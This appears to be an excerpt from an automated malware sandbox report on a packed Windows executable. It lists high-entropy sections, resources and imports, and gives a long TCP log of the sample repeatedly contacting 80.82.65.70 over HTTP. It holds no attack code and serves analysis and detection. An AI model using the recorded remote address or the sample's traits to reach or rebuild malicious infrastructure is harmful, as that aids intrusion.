	0x1000	0x40d000	0x25400	7307ef5e6de74fb92f94caf9c0156e5f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	f2d3c6c4f4e9278012cf2afd1bdb4957	False	0.9629698057432432	data	7.889062808918792	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x299000	0x200	5c614b5a0cc730c2f3965f7dd6bcc424	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
getekmla	0x6bb000	0x1ad000	0x1acc00	876b430e966c2781fda2a254d09d2bd8	False	0.9846779336734693	data	7.94180606533404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lxnvinpd	0x868000	0x1000	0x400	c52cc2455a769d8f952413c7463dcec8	False	0.779296875	data	6.1688938117489736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x869000	0x3000	0x2200	5dc00e144466491e28163f14d614490f	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x85cc44	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x85daec	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x85e394	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x85ea5c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x85efc4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x86006c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x8609f4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x860e5c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x861d04	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x8625ac	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x862c74	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x8631dc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x865784	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x86682c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x8671b4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x86761c	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x867692	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x8676fa	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x8678b2	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 20:36:28.658993959 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:28.779687881 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:28.779828072 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:28.780109882 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:28.899887085 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:30.150923014 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:30.151035070 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:30.163161039 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:30.283965111 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:30.643356085 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:30.643443108 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:30.648472071 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:30.775479078 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.221276999 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.221461058 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.221587896 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.221626043 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.221647978 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.221674919 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.222301006 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.222337008 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.222371101 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.222398996 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.223033905 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.223069906 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.223097086 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.223126888 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.223881006 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.223917961 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.223965883 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.223997116 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.229329109 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.229425907 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.229563951 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.229641914 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.237359047 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.237437963 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.346467972 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.346580982 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.412703991 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.412846088 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.412951946 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.412951946 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.416747093 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.416831017 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.416894913 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.416951895 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.425172091 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.425266027 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.425335884 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.425393105 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.433134079 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.433217049 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.433357954 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.433424950 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.441366911 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.441479921 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.441571951 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.441643953 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.449577093 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.449649096 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.449790955 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.449872017 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.457909107 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.457977057 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.458143950 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.458210945 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.466739893 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.466806889 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.466886044 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.466943979 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.474682093 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.474755049 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.474958897 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.475018978 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.482764006 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.482832909 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.482964993 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.483023882 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.490875006 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.490958929 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.491063118 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.491121054 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.604772091 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.604931116 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.628129959 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.628196955 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.628318071 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.628365993 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.632105112 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.632215023 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.632277966 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.632333040 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.640330076 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.640389919 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.640434980 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.640499115 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.648701906 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.648791075 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.648794889 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.648842096 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.656768084 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.656833887 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.656928062 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.656986952 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.664926052 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.665039062 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.665194035 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.665247917 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.673275948 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.673341990 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.673454046 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.673513889 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.681443930 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.681507111 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.681657076 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.681713104 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.689830065 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.689883947 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.689946890 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.689992905 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.697906971 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.697969913 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.698061943 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.698120117 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.706124067 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.706193924 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.706302881 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.706351995 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.714679956 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.714768887 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.714823961 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.714871883 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.722613096 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.722676992 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.722822905 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.722973108 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.731602907 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.731791019 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.731798887 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.731859922 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.739372969 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.739449978 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.739517927 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.739573956 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.747613907 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.747690916 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.747744083 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.747797966 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.756061077 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.756194115 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.756237030 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.756290913 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.764067888 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.764158010 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.764170885 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.764215946 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.772149086 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.772231102 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.772313118 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.772361994 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.777816057 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.777884007 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.778022051 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.778091908 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.783812046 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.783875942 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.783999920 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.784053087 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.789762974 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.789905071 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.789947033 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.789964914 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.796844006 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:31.796905994 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.823015928 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:31.942970991 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:32.324702024 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:32.324888945 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:34.344139099 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:34.467127085 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:34.835808039 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:34.835901976 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:36.860116005 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:36.980509996 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:37.346852064 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:37.346924067 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:39.359942913 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:39.479809046 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:39.850330114 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:39.850426912 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:41.875593901 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:41.996479988 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:42.368520021 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:42.369168043 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:44.391014099 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:44.512393951 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:44.885339975 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:44.885466099 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:46.906734943 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:47.027184963 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:47.393452883 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:47.393572092 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:49.412817955 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:49.534040928 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:49.906650066 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:49.906827927 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:51.953537941 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:52.073643923 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:52.447676897 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:52.447866917 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:54.469207048 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:54.781296968 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:55.093574047 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:55.247994900 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:55.248127937 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:55.248362064 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:55.619333982 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:55.619421005 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:57.641522884 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:36:57.762006998 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:58.133022070 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:36:58.133117914 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.187916994 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.188347101 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.308176041 CET	80	49737	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:01.308198929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:01.308273077 CET	49737	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.308326006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.308549881 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:01.428278923 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.807089090 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.807182074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.807189941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.807229996 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.807241917 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.807296038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.807954073 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.807988882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.808002949 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.808037043 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.808733940 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.808770895 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.808784008 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.808820963 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.809609890 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.809647083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.809678078 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.809681892 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.809715986 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.809746981 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.927432060 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.927484989 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.927501917 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.927545071 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:02.931355953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:02.931412935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.004914045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.005000114 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.005201101 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.005250931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.008920908 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.008975983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.010476112 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.010529995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.010670900 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.010726929 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.019025087 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.019083023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.019232035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.019298077 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.027386904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.027446032 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.027507067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.027575970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.035733938 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.035809040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:03.035878897 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:03.035933971 CET	49738	80	192.168.2.4	80.82.65.70
